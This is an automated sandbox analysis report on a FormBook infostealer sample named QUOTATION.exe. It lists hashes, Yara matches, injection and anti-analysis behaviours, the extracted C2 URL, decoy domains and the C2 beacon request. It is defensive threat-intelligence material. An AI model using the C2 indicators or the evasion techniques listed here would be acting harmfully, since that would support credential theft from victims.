Windows Analysis Report QUOTATION.exe

Overview

General Information

Sample Name: QUOTATION.exe
Analysis ID: 532906
MD5: 213d8fd4b74e3b1122cfc1a9159aa579
SHA1: 3fcea21ca260c922f371877bef1cec0b2293f1e9
SHA256: 696ba286fa1d2d46b09dee92733f9ca34bfe3e58f50a440a3ec89f63bba76441
Tags: exeFormbook
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Sample uses process hollowing technique
Uses netstat to query active network connections and open ports
Maps a DLL or memory area into another process
Initial sample is a PE file and has a suspicious name
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Sigma detected: Suspicius Add Task From User AppData Temp
Modifies the prolog of user mode functions (user mode inline hooks)
Self deletion via cmd delete
.NET source code contains potential unpacker
Sigma detected: Powershell Defender Exclusion
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Adds a directory exclusion to Windows Defender
Uses schtasks.exe or at.exe to add and modify task schedules
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
Drops PE files
Contains functionality to read the PEB
Checks if the current process is being debugged
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000018.00000002.545684823.0000000000D50000.00000004.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.purelai.store/p2r0/"], "decoy": ["armory-village.net", "gailgylee.store", "hyjqjd.com", "dgastudios.com", "freedomofspain.com", "coneofpositivity.com", "wesleyb.com", "cacciatorediteglie.com", "refatu.com", "apexfreightdispatch.com", "fichesdematerialisees.com", "hoopmetaverse.com", "gesogog.com", "mosaicelevatormonitoring.com", "mrstarrtutorsmath.com", "kebalunion.com", "xn--15qv36df6am25bt2p.top", "archedbeautynw.com", "glczklft.com", "zhejiang-huayang.com", "mariogriffinphoto.com", "metomecetefur.rest", "sabimode.com", "pityporg.online", "plumbinghelp411.com", "neontvplay.com", "hellofurb.com", "jamerah.com", "alarshllc.com", "secure2work.cloud", "wanderlustwallart.com", "altinayrent.com", "odishaparagliding.com", "jijijfiaf.xyz", "zaracentres.com", "shorthillsnjhomespecialists.com", "everdayevolution.net", "kpopyostore.com", "bitsandbuds.com", "dalstudio.net", "anh-law.com", "ecogreenhanukkah.com", "ittibrief.com", "itargetcampaigns.com", "abczqzhkmu.com", "dentistslexington.com", "searchinmetaverse.com", "mypharmatea.com", "omdeforoush.com", "bbtenzymes.com", "thefactologist.com", "mki-sb.com", "escrowtimeonline.com", "global-therm.com", "yourlifedesignjourney.com", "318donate.com", "montessori-academies.com", "virgotalk.com", "alvincjohnson.com", "hxcopymrerem.biz", "gslean.com", "darknessnft.com", "hummelconstrllc.com", "metaversefed.com"]}
Multi AV Scanner detection for submitted file
Source: QUOTATION.exe Virustotal: Detection: 40% Perma Link
Source: QUOTATION.exe ReversingLabs: Detection: 18%
Yara detected FormBook
Source: Yara match File source: 17.0.QUOTATION.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.QUOTATION.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.QUOTATION.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000002.545684823.0000000000D50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000000.332122675.000000000FD1B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.545105999.0000000000730000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.376958826.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.296229460.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.378010421.0000000000B40000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.545541618.0000000000D20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.295558217.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.300134534.0000000003739000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.378361969.0000000000F70000.00000040.00020000.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: http://www.purelai.store/p2r0/?U2JXS=kHZbGirW+rtifSnrplUrhxYS41BJcQ1JCeh0wMn6PQuFvfZqsbftW9WXbX4R7rV3sWuJ&cH=-ZeTxXnX Avira URL Cloud: Label: malware
Source: www.purelai.store/p2r0/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\lQdAGavApIJoo.exe ReversingLabs: Detection: 18%
Antivirus or Machine Learning detection for unpacked file
Source: 17.0.QUOTATION.exe.400000.6.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 17.0.QUOTATION.exe.400000.4.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 17.2.QUOTATION.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 17.0.QUOTATION.exe.400000.8.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: QUOTATION.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: QUOTATION.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: netstat.pdbGCTL source: QUOTATION.exe, 00000011.00000002.378505567.0000000000FA0000.00000040.00020000.sdmp
Source: Binary string: netstat.pdb source: QUOTATION.exe, 00000011.00000002.378505567.0000000000FA0000.00000040.00020000.sdmp
Source: Binary string: wntdll.pdbUGP source: QUOTATION.exe, 00000011.00000002.378532857.0000000000FB0000.00000040.00000001.sdmp, QUOTATION.exe, 00000011.00000002.378732031.00000000010CF000.00000040.00000001.sdmp, NETSTAT.EXE, 00000018.00000002.547801990.0000000003220000.00000040.00000001.sdmp, NETSTAT.EXE, 00000018.00000002.548437267.000000000333F000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: QUOTATION.exe, QUOTATION.exe, 00000011.00000002.378532857.0000000000FB0000.00000040.00000001.sdmp, QUOTATION.exe, 00000011.00000002.378732031.00000000010CF000.00000040.00000001.sdmp, NETSTAT.EXE, NETSTAT.EXE, 00000018.00000002.547801990.0000000003220000.00000040.00000001.sdmp, NETSTAT.EXE, 00000018.00000002.548437267.000000000333F000.00000040.00000001.sdmp

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 4x nop then pop edi 17_2_00416CEA
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 4x nop then pop edi 24_2_00746CEA

Networking:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.purelai.store
Source: C:\Windows\explorer.exe Network Connect: 208.51.62.42 80 Jump to behavior
Uses netstat to query active network connections and open ports
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE C:\Windows\SysWOW64\NETSTAT.EXE
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.purelai.store/p2r0/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /p2r0/?U2JXS=kHZbGirW+rtifSnrplUrhxYS41BJcQ1JCeh0wMn6PQuFvfZqsbftW9WXbX4R7rV3sWuJ&cH=-ZeTxXnX HTTP/1.1Host: www.purelai.storeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: QUOTATION.exe, 00000001.00000002.299185343.000000000276E000.00000004.00000001.sdmp, QUOTATION.exe, 00000001.00000002.299134882.0000000002731000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: NETSTAT.EXE, 00000018.00000002.549103186.0000000003C3F000.00000004.00020000.sdmp String found in binary or memory: https://wildcard.hostgator.com/p2r0/?U2JXS=zl7ruCTqPiUCF1L
Source: unknown DNS traffic detected: queries for: www.purelai.store
Source: global traffic HTTP traffic detected: GET /p2r0/?U2JXS=kHZbGirW+rtifSnrplUrhxYS41BJcQ1JCeh0wMn6PQuFvfZqsbftW9WXbX4R7rV3sWuJ&cH=-ZeTxXnX HTTP/1.1Host: www.purelai.storeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 17.0.QUOTATION.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.QUOTATION.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.QUOTATION.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000002.545684823.0000000000D50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000000.332122675.000000000FD1B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.545105999.0000000000730000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.376958826.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.296229460.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.378010421.0000000000B40000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.545541618.0000000000D20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.295558217.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.300134534.0000000003739000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.378361969.0000000000F70000.00000040.00020000.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 17.0.QUOTATION.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.QUOTATION.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.QUOTATION.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.QUOTATION.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.QUOTATION.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.QUOTATION.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.QUOTATION.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.QUOTATION.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.2.QUOTATION.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.2.QUOTATION.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.QUOTATION.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.QUOTATION.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.2.QUOTATION.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.2.QUOTATION.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000018.00000002.545684823.0000000000D50000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000018.00000002.545684823.0000000000D50000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000000.332122675.000000000FD1B000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000013.00000000.332122675.000000000FD1B000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000018.00000002.545105999.0000000000730000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000018.00000002.545105999.0000000000730000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.376958826.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.376958826.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000000.296229460.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000000.296229460.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.378010421.0000000000B40000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.378010421.0000000000B40000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000018.00000002.545541618.0000000000D20000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000018.00000002.545541618.0000000000D20000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000000.295558217.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000000.295558217.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.300134534.0000000003739000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.300134534.0000000003739000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.378361969.0000000000F70000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.378361969.0000000000F70000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: QUOTATION.exe
Uses 32bit PE files
Source: QUOTATION.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Yara signature match
Source: 17.0.QUOTATION.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.QUOTATION.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.0.QUOTATION.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.QUOTATION.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.0.QUOTATION.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.QUOTATION.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.0.QUOTATION.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.QUOTATION.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.2.QUOTATION.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.2.QUOTATION.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.0.QUOTATION.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.QUOTATION.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.2.QUOTATION.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.2.QUOTATION.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000018.00000002.545684823.0000000000D50000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000018.00000002.545684823.0000000000D50000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000000.332122675.000000000FD1B000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000013.00000000.332122675.000000000FD1B000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000018.00000002.545105999.0000000000730000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000018.00000002.545105999.0000000000730000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.376958826.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.376958826.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000000.296229460.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000000.296229460.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.378010421.0000000000B40000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.378010421.0000000000B40000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000018.00000002.545541618.0000000000D20000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000018.00000002.545541618.0000000000D20000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000000.295558217.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000000.295558217.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.300134534.0000000003739000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.300134534.0000000003739000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.378361969.0000000000F70000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.378361969.0000000000F70000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Detected potential crypto function
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 1_2_00DAE778 1_2_00DAE778
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 1_2_00DAE76B 1_2_00DAE76B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 1_2_00DABDC4 1_2_00DABDC4
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 1_2_00362050 1_2_00362050
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 13_2_00332050 13_2_00332050
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00401030 17_2_00401030
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041E887 17_2_0041E887
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041D969 17_2_0041D969
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00402D90 17_2_00402D90
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00409E5B 17_2_00409E5B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00409E60 17_2_00409E60
